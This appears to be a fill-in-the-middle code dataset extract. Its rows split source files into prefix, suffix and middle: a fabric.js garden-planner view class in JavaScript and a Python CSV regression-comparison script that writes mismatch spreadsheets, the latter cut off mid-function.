file_name large_stringlengths 4 140 | prefix large_stringlengths 0 39k | suffix large_stringlengths 0 36.1k | middle large_stringlengths 0 29.4k | fim_type large_stringclasses 4
values |
|---|---|---|---|---|
gardenView.js | import {fabric} from 'fabric';
import * as actions from './actions';
import * as cst from '../constants';
import {PlantView} from './plantView';
import {ScoreInput} from './scoring/input';
const DEFAULT_IMAGE_WIDTH = 28;
const DEFAULT_IMAGE_HEIGHT = 28;
const SCROLLBAR_WIDTH = 26;
const DEFAULT_USER_WIDTH = 6;
const DEFAULT_USER_LENGTH = 4;
/*
* Encapsulates a grid representing a garden
*/
export class GardenView {
constructor(containerSelector, plantFactory, actionDispatcher) {
this.containerSelector = containerSelector;
this.actionDispatcher = actionDispatcher;
this.idImageSelected = null;
this.imagesMapping = {};
this.plantFactory = plantFactory;
this.monthSelected = 0;
this.idGardenCounter = 0;
this.grid = null;
this.actionDispatcher.register('generateGarden', actions.GENERATE_GARDEN, (data) => this.generate(data.width, data.length));
this.actionDispatcher.register('loadGarden', actions.LOAD_GARDEN, (data) => this.load(data));
const that = this;
$(`#${this.containerSelector}`).append(`
<div class="text-center"><button type="button" class="btn btn-default btn-lg">Générer votre potager</button>
`);
$(`#${this.containerSelector}`).find('button').on('click', (event) => {
that.actionDispatcher.dispatch({type: actions.MODAL_GARDEN_CREATOR});
});
}
generate(width, length) {
// From user dimensions, we calculate grid features, like the size in pixels of a meter
this.grid = {
userDimensions: {
width: width,
length: length
},
sizeMeter: ($(`#${this.containerSelector}`).width() - SCROLLBAR_WIDTH) / width,
horizontalLines: [],
verticalLines: []
};
$(`#${this.containerSelector}`).empty().append(`
<div class="row">
<div class="col-md-12">
<div style="height:400px; overflow: auto;">
<canvas
id="canvas-garden"
width=${this.grid.sizeMeter * width}
height=${this.grid.sizeMeter * length}>
</canvas>
</div>
</div>
</div>
`);
let self = this;
this.canvas = new fabric.Canvas('canvas-garden');
let canvasContainer = $(`#${this.containerSelector}`).parent()[0];
// drag and drop events dont work right with JQuery on container...
// so for canvas container, use native JS methods
// On drag over
canvasContainer.addEventListener('dragover', (event) => {
if (event.preventDefault) {
event.preventDefault();
}
event.dataTransfer.dropEffect = 'copy';
return false;
}, false);
// On drop
canvasContainer.addEventListener('drop', (event) => {
event.preventDefault();
if (event.stopPropagation) {
event.stopPropagation();
}
const idPlant = $('#plant-selectize').val();
const position = {
x: event.layerX,
y: event.layerY
};
self.putPlant($('#image-selected img.img-dragging')[0], idPlant, position);
return false;
}, false);
// On selection of an object
this.canvas.on('object:selected', (event) => {
this.selectPlant(event.target);
});
// On click on grid, but not on a object
this.canvas.on('before:selection:cleared', (event) => {
this.unselectPlant();
});
// On image moving
this.canvas.on('object:moving', (event) => {
var obj = event.target;
if (typeof(obj) === 'undefined' || obj === null || typeof(obj.canvas) === 'undefined') {
return;
}
// Below is code to be sure we can't drag a plant outside of the visible grid
// if object is too big ignore
if(obj.currentHeight > obj.canvas.height || obj.currentWidth > obj.canvas.width){
return;
}
obj.setCoords();
const imagePlant = obj._objects.filter(o => o.isType('image'))[0];
const boundingRect = {
left: obj.left + obj.width / 2 - imagePlant.width / 2,
top: obj.top + obj.height / 2 - imagePlant.height / 2,
width: imagePlant.width,
height: imagePlant.height
};
// top-left corner
if(boundingRect.top < 0 || boundingRect.left < 0){
obj.top = Math.max(obj.top, obj.top-boundingRect.top);
obj.left = Math.max(obj.left, obj.left-boundingRect.left);
}
// bot-right corner
if(boundingRect.top+boundingRect.height > obj.canvas.height || boundingRect.left+boundingRect.width > obj.canvas.width){
obj.top = Math.min(obj.top, obj.canvas.height-boundingRect.height+obj.top-boundingRect.top);
obj.left = Math.min(obj.left, obj.canvas.width-boundingRect.width+obj.left-boundingRect.left);
}
// On moving, notify state panel that we made a change
this.actionDispatcher.dispatch({type: actions.NOTIFY_CHANGE});
});
this.refreshGrid();
// Register listeners on some actions
this.actionDispatcher.register('unselectPlant', actions.UNSELECT_PLANT, () => this.canvas.trigger('before:selection:cleared'));
this.actionDispatcher.register('removePlant', actions.REMOVE_PLANT, () => this.removePlant());
this.actionDispatcher.register('showAreas', actions.SHOW_AREAS, (areaType) => this.showAreas(areaType));
this.actionDispatcher.register('hideAreas', actions.HIDE_AREAS, (areaType) => this.hideAreas(areaType));
/*this.actionDispatcher.register('showAreaSeeding', actions.SHOW_AREA_SEEDING, () => this.showAreas('seeding'));
this.actionDispatcher.register('showAreaSize', actions.SHOW_AREA_SIZE, () => this.showAreas('size'));
this.actionDispatcher.register('showAreaHeight', actions.SHOW_AREA_HEIGHT, () => this.showAreas('height'));
this.actionDispatcher.register('showAreaSun', actions.SHOW_AREA_SUN, () => this.showAreas('sun'));
this.actionDispatcher.register('hideArea', actions.HIDE_AREAS, () => this.hideAreas());*/
this.actionDispatcher.register('showMonthlyTask', actions.SHOW_TASK_MONTH, (data) => this.showMonthlyTask(data));
this.actionDispatcher.register('prepareSave', actions.PREPARE_SAVE, (data) => this.prepareSave(data));
this.actionDispatcher.register('prepareScore', actions.PREPARE_SCORE, (data) => this.prepareScoring(data));
this.actionDispatcher.register('showScorePlants', actions.SHOW_SCORE_PLANTS, (data) => this.showScoreSelection(data));
this.actionDispatcher.register('hideScorePlants', actions.HIDE_SCORE_PLANTS, (data) => this.hideScoreSelection(data));
// Unregister listeners on garden creation / loading
this.actionDispatcher.unregister('generateGarden');
this.actionDispatcher.unregister('loadGarden');
}
/* Get some datas about plants in garden, for saving */
prepareSave(data) {
let plants = [];
for (const id in this.imagesMapping) {
plants.push(this.imagesMapping[id].toJSON());
}
// Call save process by dispatching save event with plants data
this.actionDispatcher.dispatch({type: actions.SAVE, data: {
id: data.id,
garden: {
plants: plants,
userDimensions: this.grid.userDimensions
}
}});
}
/* Get some datas about plants in garden, to run scoring */
prepareScoring() {
let plants = [], plantModels = {};
for (const id in this.imagesMapping) {
const plantView = this.imagesMapping[id];
const plant = plantView.getPlant();
plants.push(plantView.toJSON());
if (!(plant.id in plantModels)) {
plantModels[plant.id] = plant;
}
}
const scoreInput = new ScoreInput(plants, plantModels, {
sizeMeter: this.grid.sizeMeter
});
// Call score process by dispatching save event with plants data
this.actionDispatcher.dispatch({type: actions.SCORE, data: {
input: scoreInput,
}});
}
/*
Add a plant on grid, by putting image in a fabricjs group
and instanciating a plantView object
*/
addPlantOnGrid(img, idPlant, width, height, position) {
| /* Populate garden with plants from imported data */
load(data) {
// By default, if no user dimensions saved, we generate a 6mx4m garden
const {width, length} = (typeof(data.garden.userDimensions) !== 'undefined')
? data.garden.userDimensions
: {width: DEFAULT_USER_WIDTH, length: DEFAULT_USER_LENGTH};
this.generate(width, length);
data.garden.plants.map(jsonPlant => {
const idImage = this.idGardenCounter;
this.idGardenCounter = this.idGardenCounter + 1;
const img = cst.PLANTS_IMAGES[jsonPlant.idPlant] || cst.DEFAULT_PLANT_IMAGE;
fabric.Image.fromURL(`${cst.URL_IMAGES}/${img}`, oImg => {
oImg.set({
id: idImage
});
this.addPlantOnGrid(oImg, jsonPlant.idPlant, DEFAULT_IMAGE_WIDTH, DEFAULT_IMAGE_HEIGHT, jsonPlant.position);
});
});
}
/* Put a plant into the garden, from dragged image */
putPlant(img, idPlant, position) {
const idImage = this.idGardenCounter;
this.idGardenCounter = this.idGardenCounter + 1;
img = new fabric.Image(img, {
id: idImage
});
this.addPlantOnGrid(img, idPlant, img.width, img.height, position);
this.showMonthlyTask(this.monthSelected);
this.actionDispatcher.dispatch({type: actions.NOTIFY_CHANGE});
}
/* Remove selected plant */
removePlant() {
if (this.idImageSelected === null) {
return;
}
// We keep id in another variable to keep a reference for deleting from imagesMapping
const id = this.idImageSelected;
let imageGroupToRemove = this.imagesMapping[this.idImageSelected].getGroup();
this.canvas.remove(imageGroupToRemove);
delete this.imagesMapping[id];
this.actionDispatcher.dispatch({type: actions.HIDE_CARD});
this.actionDispatcher.dispatch({type: actions.NOTIFY_CHANGE});
}
/* Clear all plants from garden */
clear() {
this.canvas.clear();
for (const id in this.imagesMapping) {
delete this.imagesMapping[id];
}
this.imagesMapping = {};
}
/* Select a plant, and display some informations about it */
selectPlant(imageGroup) {
if (this.idImageSelected !== null) {
this.unselectPlant();
}
const imagePlant = imageGroup._objects.filter(o => o.isType('image'))[0];
const plantView = this.imagesMapping[imagePlant.id];
this.idImageSelected = imagePlant.id;
this.actionDispatcher.dispatch({type: actions.SHOW_CARD, data: plantView.getPlant()});
}
/* Unselect plant, and hide some informations about it */
unselectPlant() {
if (this.idImageSelected === null) {
return;
}
const plantView = this.imagesMapping[this.idImageSelected];
this.canvas.selection = false;
this.idImageSelected = null;
this.actionDispatcher.dispatch({type: actions.HIDE_CARD});
}
showAreas(type) {
for (let idImage in this.imagesMapping) {
this.imagesMapping[idImage].showArea(type, this.grid.sizeMeter);
}
this.canvas.renderAll();
}
hideAreas(type) {
for (let idImage in this.imagesMapping) {
this.imagesMapping[idImage].hideArea(type);
}
this.canvas.renderAll();
}
/* Show for each plant in garden which task is associated to selected month, if any */
showMonthlyTask(month) {
this.monthSelected = month;
if (this.monthSelected === 0) {
this.hideMonthlyTasks();
return;
}
for (let idImage in this.imagesMapping) {
// Because of asynchronous image loading, the render if executed in a callback
this.imagesMapping[idImage].showMonthlyTasks(this.monthSelected, () => {
this.canvas.renderAll();
});
}
}
/* Hide all tasks associated to selected monh */
hideMonthlyTasks() {
for (let idImage in this.imagesMapping) {
this.imagesMapping[idImage].hideMonthlyTasks(() => {
this.canvas.renderAll();
});
}
}
showScoreSelection(selection) {
selection.plants.map(plant => {
this.imagesMapping[plant.idImage].showScoreSelection(selection.circlePlantColor);
});
this.canvas.renderAll();
}
hideScoreSelection(selection) {
selection.plants.map(plant => {
this.imagesMapping[plant.idImage].hideScoreSelection();
});
this.canvas.renderAll();
}
/* Refresh garden grid by redrawing lines, depending of the size in pixels of a meter */
refreshGrid() {
const canvasWidth = this.canvas.getWidth();
const canvasHeight = this.canvas.getHeight();
this.grid.horizontalLines.map(line => this.canvas.remove(line));
this.grid.verticalLines.map(line => this.canvas.remove(line));
this.grid.horizontalLines = [];
this.grid.verticalLines = [];
for (let xStart=this.grid.sizeMeter; xStart < canvasWidth; xStart=xStart+this.grid.sizeMeter) {
const line = new fabric.Line([xStart, 0, xStart, canvasHeight], {
stroke: '#222',
strokeDashArray: [5, 5],
selectable: false
});
this.canvas.add(line);
this.grid.verticalLines.push(line);
}
for (let yStart=this.grid.sizeMeter; yStart < canvasHeight ; yStart=yStart+this.grid.sizeMeter) {
const line = new fabric.Line([0, yStart, canvasWidth, yStart], {
stroke: '#222',
strokeDashArray: [5, 5],
selectable: false
});
this.canvas.add(line);
this.grid.horizontalLines.push(line);
}
}
}
| img.set({
width: width,
height: height,
left: position.x,
top: position.y,
hasRotatingPoint: false,
lockRotation: true,
lockScalingFlip : true,
lockScalingX: true,
lockScalingY: true
});
const plant = this.plantFactory.buildPlant(idPlant);
let plantView = new PlantView(img, plant);
this.imagesMapping[img.id] = plantView;
this.canvas.add(plantView.getGroup());
}
| identifier_body |
gardenView.js | import {fabric} from 'fabric';
import * as actions from './actions';
import * as cst from '../constants';
import {PlantView} from './plantView';
import {ScoreInput} from './scoring/input';
const DEFAULT_IMAGE_WIDTH = 28;
const DEFAULT_IMAGE_HEIGHT = 28;
const SCROLLBAR_WIDTH = 26;
const DEFAULT_USER_WIDTH = 6;
const DEFAULT_USER_LENGTH = 4;
/*
* Encapsulates a grid representing a garden
*/
export class GardenView {
constructor(containerSelector, plantFactory, actionDispatcher) {
this.containerSelector = containerSelector;
this.actionDispatcher = actionDispatcher;
this.idImageSelected = null;
this.imagesMapping = {};
this.plantFactory = plantFactory;
this.monthSelected = 0;
this.idGardenCounter = 0;
this.grid = null;
this.actionDispatcher.register('generateGarden', actions.GENERATE_GARDEN, (data) => this.generate(data.width, data.length));
this.actionDispatcher.register('loadGarden', actions.LOAD_GARDEN, (data) => this.load(data));
const that = this;
$(`#${this.containerSelector}`).append(`
<div class="text-center"><button type="button" class="btn btn-default btn-lg">Générer votre potager</button>
`);
$(`#${this.containerSelector}`).find('button').on('click', (event) => {
that.actionDispatcher.dispatch({type: actions.MODAL_GARDEN_CREATOR});
});
}
generate(width, length) {
// From user dimensions, we calculate grid features, like the size in pixels of a meter
this.grid = {
userDimensions: {
width: width,
length: length
},
sizeMeter: ($(`#${this.containerSelector}`).width() - SCROLLBAR_WIDTH) / width,
horizontalLines: [],
verticalLines: []
};
$(`#${this.containerSelector}`).empty().append(`
<div class="row">
<div class="col-md-12">
<div style="height:400px; overflow: auto;">
<canvas
id="canvas-garden"
width=${this.grid.sizeMeter * width}
height=${this.grid.sizeMeter * length}>
</canvas>
</div>
</div>
</div>
`);
let self = this;
this.canvas = new fabric.Canvas('canvas-garden');
let canvasContainer = $(`#${this.containerSelector}`).parent()[0];
// drag and drop events dont work right with JQuery on container...
// so for canvas container, use native JS methods
// On drag over
canvasContainer.addEventListener('dragover', (event) => {
if (event.preventDefault) {
event.preventDefault();
}
event.dataTransfer.dropEffect = 'copy';
return false;
}, false);
// On drop
canvasContainer.addEventListener('drop', (event) => {
event.preventDefault();
if (event.stopPropagation) {
event.stopPropagation();
}
const idPlant = $('#plant-selectize').val();
const position = {
x: event.layerX,
y: event.layerY
};
self.putPlant($('#image-selected img.img-dragging')[0], idPlant, position);
return false;
}, false);
// On selection of an object
this.canvas.on('object:selected', (event) => {
this.selectPlant(event.target);
});
// On click on grid, but not on a object
this.canvas.on('before:selection:cleared', (event) => {
this.unselectPlant();
});
// On image moving
this.canvas.on('object:moving', (event) => {
var obj = event.target;
if (typeof(obj) === 'undefined' || obj === null || typeof(obj.canvas) === 'undefined') {
return;
}
// Below is code to be sure we can't drag a plant outside of the visible grid
// if object is too big ignore
if(obj.currentHeight > obj.canvas.height || obj.currentWidth > obj.canvas.width){
return;
}
obj.setCoords();
const imagePlant = obj._objects.filter(o => o.isType('image'))[0];
const boundingRect = {
left: obj.left + obj.width / 2 - imagePlant.width / 2,
top: obj.top + obj.height / 2 - imagePlant.height / 2,
width: imagePlant.width,
height: imagePlant.height
};
// top-left corner
if(boundingRect.top < 0 || boundingRect.left < 0){
obj.top = Math.max(obj.top, obj.top-boundingRect.top);
obj.left = Math.max(obj.left, obj.left-boundingRect.left);
}
// bot-right corner
if(boundingRect.top+boundingRect.height > obj.canvas.height || boundingRect.left+boundingRect.width > obj.canvas.width){
obj.top = Math.min(obj.top, obj.canvas.height-boundingRect.height+obj.top-boundingRect.top);
obj.left = Math.min(obj.left, obj.canvas.width-boundingRect.width+obj.left-boundingRect.left);
}
// On moving, notify state panel that we made a change
this.actionDispatcher.dispatch({type: actions.NOTIFY_CHANGE});
});
this.refreshGrid();
// Register listeners on some actions
this.actionDispatcher.register('unselectPlant', actions.UNSELECT_PLANT, () => this.canvas.trigger('before:selection:cleared'));
this.actionDispatcher.register('removePlant', actions.REMOVE_PLANT, () => this.removePlant());
this.actionDispatcher.register('showAreas', actions.SHOW_AREAS, (areaType) => this.showAreas(areaType));
this.actionDispatcher.register('hideAreas', actions.HIDE_AREAS, (areaType) => this.hideAreas(areaType));
/*this.actionDispatcher.register('showAreaSeeding', actions.SHOW_AREA_SEEDING, () => this.showAreas('seeding'));
this.actionDispatcher.register('showAreaSize', actions.SHOW_AREA_SIZE, () => this.showAreas('size'));
this.actionDispatcher.register('showAreaHeight', actions.SHOW_AREA_HEIGHT, () => this.showAreas('height'));
this.actionDispatcher.register('showAreaSun', actions.SHOW_AREA_SUN, () => this.showAreas('sun'));
this.actionDispatcher.register('hideArea', actions.HIDE_AREAS, () => this.hideAreas());*/
this.actionDispatcher.register('showMonthlyTask', actions.SHOW_TASK_MONTH, (data) => this.showMonthlyTask(data));
this.actionDispatcher.register('prepareSave', actions.PREPARE_SAVE, (data) => this.prepareSave(data));
this.actionDispatcher.register('prepareScore', actions.PREPARE_SCORE, (data) => this.prepareScoring(data));
this.actionDispatcher.register('showScorePlants', actions.SHOW_SCORE_PLANTS, (data) => this.showScoreSelection(data));
this.actionDispatcher.register('hideScorePlants', actions.HIDE_SCORE_PLANTS, (data) => this.hideScoreSelection(data));
// Unregister listeners on garden creation / loading
this.actionDispatcher.unregister('generateGarden');
this.actionDispatcher.unregister('loadGarden');
}
/* Get some datas about plants in garden, for saving */
prepareSave(data) {
let plants = [];
for (const id in this.imagesMapping) {
plants.push(this.imagesMapping[id].toJSON());
}
// Call save process by dispatching save event with plants data
this.actionDispatcher.dispatch({type: actions.SAVE, data: {
id: data.id,
garden: {
plants: plants,
userDimensions: this.grid.userDimensions
}
}});
}
/* Get some datas about plants in garden, to run scoring */
prepareScoring() {
let plants = [], plantModels = {};
for (const id in this.imagesMapping) {
const plantView = this.imagesMapping[id];
const plant = plantView.getPlant();
plants.push(plantView.toJSON());
if (!(plant.id in plantModels)) {
| }
const scoreInput = new ScoreInput(plants, plantModels, {
sizeMeter: this.grid.sizeMeter
});
// Call score process by dispatching save event with plants data
this.actionDispatcher.dispatch({type: actions.SCORE, data: {
input: scoreInput,
}});
}
/*
Add a plant on grid, by putting image in a fabricjs group
and instanciating a plantView object
*/
addPlantOnGrid(img, idPlant, width, height, position) {
img.set({
width: width,
height: height,
left: position.x,
top: position.y,
hasRotatingPoint: false,
lockRotation: true,
lockScalingFlip : true,
lockScalingX: true,
lockScalingY: true
});
const plant = this.plantFactory.buildPlant(idPlant);
let plantView = new PlantView(img, plant);
this.imagesMapping[img.id] = plantView;
this.canvas.add(plantView.getGroup());
}
/* Populate garden with plants from imported data */
load(data) {
// By default, if no user dimensions saved, we generate a 6mx4m garden
const {width, length} = (typeof(data.garden.userDimensions) !== 'undefined')
? data.garden.userDimensions
: {width: DEFAULT_USER_WIDTH, length: DEFAULT_USER_LENGTH};
this.generate(width, length);
data.garden.plants.map(jsonPlant => {
const idImage = this.idGardenCounter;
this.idGardenCounter = this.idGardenCounter + 1;
const img = cst.PLANTS_IMAGES[jsonPlant.idPlant] || cst.DEFAULT_PLANT_IMAGE;
fabric.Image.fromURL(`${cst.URL_IMAGES}/${img}`, oImg => {
oImg.set({
id: idImage
});
this.addPlantOnGrid(oImg, jsonPlant.idPlant, DEFAULT_IMAGE_WIDTH, DEFAULT_IMAGE_HEIGHT, jsonPlant.position);
});
});
}
/* Put a plant into the garden, from dragged image */
putPlant(img, idPlant, position) {
const idImage = this.idGardenCounter;
this.idGardenCounter = this.idGardenCounter + 1;
img = new fabric.Image(img, {
id: idImage
});
this.addPlantOnGrid(img, idPlant, img.width, img.height, position);
this.showMonthlyTask(this.monthSelected);
this.actionDispatcher.dispatch({type: actions.NOTIFY_CHANGE});
}
/* Remove selected plant */
removePlant() {
if (this.idImageSelected === null) {
return;
}
// We keep id in another variable to keep a reference for deleting from imagesMapping
const id = this.idImageSelected;
let imageGroupToRemove = this.imagesMapping[this.idImageSelected].getGroup();
this.canvas.remove(imageGroupToRemove);
delete this.imagesMapping[id];
this.actionDispatcher.dispatch({type: actions.HIDE_CARD});
this.actionDispatcher.dispatch({type: actions.NOTIFY_CHANGE});
}
/* Clear all plants from garden */
clear() {
this.canvas.clear();
for (const id in this.imagesMapping) {
delete this.imagesMapping[id];
}
this.imagesMapping = {};
}
/* Select a plant, and display some informations about it */
selectPlant(imageGroup) {
if (this.idImageSelected !== null) {
this.unselectPlant();
}
const imagePlant = imageGroup._objects.filter(o => o.isType('image'))[0];
const plantView = this.imagesMapping[imagePlant.id];
this.idImageSelected = imagePlant.id;
this.actionDispatcher.dispatch({type: actions.SHOW_CARD, data: plantView.getPlant()});
}
/* Unselect plant, and hide some informations about it */
unselectPlant() {
if (this.idImageSelected === null) {
return;
}
const plantView = this.imagesMapping[this.idImageSelected];
this.canvas.selection = false;
this.idImageSelected = null;
this.actionDispatcher.dispatch({type: actions.HIDE_CARD});
}
showAreas(type) {
for (let idImage in this.imagesMapping) {
this.imagesMapping[idImage].showArea(type, this.grid.sizeMeter);
}
this.canvas.renderAll();
}
hideAreas(type) {
for (let idImage in this.imagesMapping) {
this.imagesMapping[idImage].hideArea(type);
}
this.canvas.renderAll();
}
/* Show for each plant in garden which task is associated to selected month, if any */
showMonthlyTask(month) {
this.monthSelected = month;
if (this.monthSelected === 0) {
this.hideMonthlyTasks();
return;
}
for (let idImage in this.imagesMapping) {
// Because of asynchronous image loading, the render if executed in a callback
this.imagesMapping[idImage].showMonthlyTasks(this.monthSelected, () => {
this.canvas.renderAll();
});
}
}
/* Hide all tasks associated to selected monh */
hideMonthlyTasks() {
for (let idImage in this.imagesMapping) {
this.imagesMapping[idImage].hideMonthlyTasks(() => {
this.canvas.renderAll();
});
}
}
showScoreSelection(selection) {
selection.plants.map(plant => {
this.imagesMapping[plant.idImage].showScoreSelection(selection.circlePlantColor);
});
this.canvas.renderAll();
}
hideScoreSelection(selection) {
selection.plants.map(plant => {
this.imagesMapping[plant.idImage].hideScoreSelection();
});
this.canvas.renderAll();
}
/* Refresh garden grid by redrawing lines, depending of the size in pixels of a meter */
refreshGrid() {
const canvasWidth = this.canvas.getWidth();
const canvasHeight = this.canvas.getHeight();
this.grid.horizontalLines.map(line => this.canvas.remove(line));
this.grid.verticalLines.map(line => this.canvas.remove(line));
this.grid.horizontalLines = [];
this.grid.verticalLines = [];
for (let xStart=this.grid.sizeMeter; xStart < canvasWidth; xStart=xStart+this.grid.sizeMeter) {
const line = new fabric.Line([xStart, 0, xStart, canvasHeight], {
stroke: '#222',
strokeDashArray: [5, 5],
selectable: false
});
this.canvas.add(line);
this.grid.verticalLines.push(line);
}
for (let yStart=this.grid.sizeMeter; yStart < canvasHeight ; yStart=yStart+this.grid.sizeMeter) {
const line = new fabric.Line([0, yStart, canvasWidth, yStart], {
stroke: '#222',
strokeDashArray: [5, 5],
selectable: false
});
this.canvas.add(line);
this.grid.horizontalLines.push(line);
}
}
}
| plantModels[plant.id] = plant;
}
| conditional_block |
csv_test.py | #!/usr/bin/env python
# Copyright (C) 2014, 2015 by Ali Baharev <ali.baharev@gmail.com>
# All rights reserved.
# BSD license.
# https://github.com/baharev/CSV_Test
from __future__ import print_function
from contextlib import closing
from cStringIO import StringIO
from itertools import izip, izip_longest
from math import isnan
from os import listdir, makedirs, remove
from os.path import basename, dirname, isdir, isfile, join, splitext
import sys as _sys
from xlsxwriter import Workbook
# A hackish way to import the configuration
_sys.path.append(dirname(__file__))
from configuration import *
# TODO Project name SG2PS
# Dump CSV, with type info in the column
# NaN as NaN string
# Remove all exit() from sg2ps executable, throw test_finished exception?
# Test failures can be tested as well
#
#-------------------------------------------------------------------------------
_errors = { }
def main(extra_msg = ''):
_errors.clear()
setup_spreadsheets_dir()
passed = [ fname for fname in files_to_check() if check(fname) ]
show_summary(passed, extra_msg)
def setup_spreadsheets_dir():
if not isdir(SPREADSHEETS_DIR):
makedirs(SPREADSHEETS_DIR)
return
# clean up .xlsx files from the previous run and the log file, if any
to_del = sorted(f for f in listdir(SPREADSHEETS_DIR) if f.endswith('.xlsx'))
if isfile(join(SPREADSHEETS_DIR, LOGFILE)):
to_del.append(LOGFILE)
for f in to_del:
remove(join(SPREADSHEETS_DIR,f))
if to_del:
print('Deleted',len(to_del),'files in', SPREADSHEETS_DIR)
def files_to_check():
etalons = { f for f in listdir(ETALON_DIR) if f.endswith(EXTENSION) }
tocomps = { f for f in listdir(TOCOMP_DIR) if f.endswith(EXTENSION) }
testset = { f+EXTENSION for f in TESTSET }
if testset:
etalon_missing = testset - etalons
for e in etalon_missing:
log_error(e, 'no etalon found')
etalons &= testset
testfile_missing = testset - tocomps
for t in testfile_missing:
log_error(t, 'no test file found ')
tocomps &= testset
return sorted(etalons & tocomps)
#
ignore = { f+EXTENSION for f in IGNORE }
etalons -= ignore
tocomps -= ignore
etalon_only = etalons - tocomps
tocomp_only = tocomps - etalons
for e in etalon_only:
log_error(e, 'only etalon found but the test file is missing')
for t in tocomp_only:
log_error(t, 'the etalon is missing for this test file')
return sorted(etalons & tocomps)
def check(filename):
etalon = get_content(ETALON_DIR, filename, kind='etalon')
if etalon is None:
return
tocomp = get_content(TOCOMP_DIR, filename, kind='test')
if tocomp is None:
return
mismatch = compare_headers(etalon, tocomp)
if mismatch:
log_error(filename, 'mismatch in headers, excel sheet written')
write_mismatch(filename, etalon, tocomp, mismatch)
return
etalon_len, tocomp_len = number_of_rows(etalon, tocomp)
if etalon_len!=tocomp_len:
msg = 'number of rows: {}!={}'.format(etalon_len, tocomp_len)
log_error(filename, msg)
return
mismatch = compare_values(etalon, tocomp)
if mismatch:
log_error(filename, 'mismatch, excel sheet written')
write_mismatch(filename, etalon, tocomp, mismatch)
return
return True
def log_error(filename, msg):
assert filename not in _errors, (filename, _errors[filename])
_errors[filename] = msg
def get_content(directory, filename, kind):
header, lines = read_csv( join(directory,filename) )
col_types, error_msg = get_col_types(header)
if error_msg:
log_error(filename, '{}, header: {}'.format(kind, error_msg))
return
error_msg = check_rowlength(lines, expected_len=len(col_types))
if error_msg:
log_error(filename, '{}, {}'.format(kind, error_msg))
return
table, type_errors = convert(col_types, lines)
if type_errors:
msg = '{}, type conversion errors, excel sheet written'.format(kind)
log_error(filename, msg)
xlsxname = get_filebase(filename) + '_'+kind+'_type_error.xlsx'
write_cell_errors(xlsxname, header, lines, type_errors)
return
return header, table
def read_csv(filename):
print('Trying to read file "{}"'.format(filename))
with open(filename, 'r') as f:
header = extract_first_line(f)
lines = [ split(line) for line in f ]
print('Read {} lines'.format( bool(header) + len(lines) ))
return header, lines
def extract_first_line(f):
header = next(f, None)
return split(header) if header else [ ]
def split(line):
return line.rstrip('\r\n').split(SEP)
def get_col_types(header):
# Returns ([type converters], error message). Exactly one of them is None.
# Only the first error is logged.
if len(header)==0:
return None, 'missing'
col_types = [ TO_TYPE.get(col[-1:], None) for col in header ]
for i, typ in enumerate(col_types):
if typ is None:
msg = 'unrecognized type in column {}: "{}"'.format(i+1, header[i])
return None, msg
assert len(col_types)==len(header)
return col_types, None
def check_rowlength(lines, expected_len):
# Returns error message on error, None otherwise.
# The first row is the header, and error messages use base 1 indices
indices = [i for i, row in enumerate(lines, 2) if len(row)!=expected_len]
if indices:
return 'row length error in rows (header is row 1): {}'.format(indices)
return None
def convert(col_types, lines):
# Returns the tuple of: lines converted to a 2D table with proper types, and
# the cell indices where type conversion error occured.
table, type_errors = [ ], [ ]
for i, line in enumerate(lines,1):
row = [ ]
for j, col in enumerate(line):
try:
row.append( col_types[j](col) )
except:
row.append( None )
type_errors.append((i,j))
assert len(row)==len(col_types)
table.append(row)
return table if len(type_errors)==0 else [ ], type_errors
def get_filebase(path):
return splitext(basename(path))[0]
def write_cell_errors(xlsxname, header, lines, cells_to_mark):
workbook = Workbook(join(SPREADSHEETS_DIR, xlsxname))
cell_fmt = workbook.add_format()
cell_fmt.set_bg_color('cyan')
worksheet = workbook.add_worksheet()
write_sheet(worksheet, cell_fmt, header, lines, cells_to_mark)
workbook.close()
def write_mismatch(filename, etalon, tocomp, mismatch):
workbook = Workbook(join(SPREADSHEETS_DIR, get_filebase(filename)+'.xlsx'))
cell_fmt = workbook.add_format()
cell_fmt.set_bg_color('cyan')
worksheet = workbook.add_worksheet(name='test')
write_sheet(worksheet, cell_fmt, *tocomp, cells_to_mark=mismatch)
worksheet = workbook.add_worksheet(name='etalon')
write_sheet(worksheet, cell_fmt, *etalon)
workbook.close()
def write_sheet(worksheet, cell_fmt, header, lines, cells_to_mark=[]):
formatter = { cell : cell_fmt for cell in cells_to_mark }
for j, col_header in enumerate(header):
worksheet.write(0, j, col_header, formatter.get((0,j), None))
for i, line in enumerate(lines, 1):
for j, item in enumerate(line):
worksheet.write(i,j, replace_nan(item), formatter.get((i,j),None))
def replace_nan(item):
return 'NaN' if isinstance(item, float) and isnan(item) else item
def compare_headers(etalon, tocomp):
mismatch = [ ]
e_head, _ = etalon
t_head, _ = tocomp
for i, (eh, th) in enumerate(izip_longest(e_head, t_head, fillvalue='')):
if eh!=th:
mismatch.append((0,i))
return mismatch
def number_of_rows(etalon, tocomp):
return len(etalon[1]), len(tocomp[1])
def compare_values(etalon, tocomp):
mismatch = [ ]
_, e_table = etalon
_, t_table = tocomp
for i, (e_row, t_row) in enumerate(izip(e_table, t_table), 1):
for j, (e_item, t_item) in enumerate(izip(e_row, t_row)):
if not equals(e_item, t_item):
mismatch.append((i,j))
return mismatch
def equals(e, t):
return compare_floats(e, t) if isinstance(e, float) else e==t
def compare_floats(e, t):
e_nan, t_nan = isnan(e), isnan(t)
if e_nan and t_nan:
return True
elif e_nan or t_nan:
return False
else:
assert not e_nan and not t_nan
diff = abs(e-t)
return diff < ABS_TOL or diff < REL_TOL*abs(e)
def show_summary(passed, extra_msg):
header = create_header(passed, extra_msg)
print()
print(header)
if passed:
print('Passed: {} files'.format(len(passed)))
if _errors:
log = create_error_log()
print(log)
write_errors(header, log)
print('Tests FAILED! Check "{}"'.format(SPREADSHEETS_DIR))
elif passed:
print('Tests PASSED!')
else:
print('Something is strange: Are the directories empty?')
if ETALON_DIR==TOCOMP_DIR:
print('WARNING: The etalon directory has been compared to itself!')
if TESTSET:
print('WARNING: Only the given test set has been checked!')
elif IGNORE:
print('WARNING: There were ignored files!')
def | (passed, extra_msg):
with closing(StringIO()) as out:
out.write('Passed:\n')
for p in passed:
out.write(p)
out.write('\n')
out.write('=========================================================\n')
if extra_msg:
out.write( extra_msg + '\n' )
out.write('Etalon directory: "{}"\n'.format(ETALON_DIR))
out.write('Compared against: "{}"\n'.format(TOCOMP_DIR))
return out.getvalue()
def create_error_log():
with closing(StringIO()) as out:
out.write('There were errors:\n')
for fname, msg in sorted(_errors.iteritems()):
out.write(' {} {}\n'.format(fname,msg))
return out.getvalue()
def write_errors(header, log):
logfile_name = join(SPREADSHEETS_DIR, 'log.txt')
